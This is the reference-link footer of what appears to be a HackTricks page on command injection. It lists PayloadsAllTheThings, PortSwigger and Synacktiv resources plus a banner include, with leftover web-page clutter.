- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user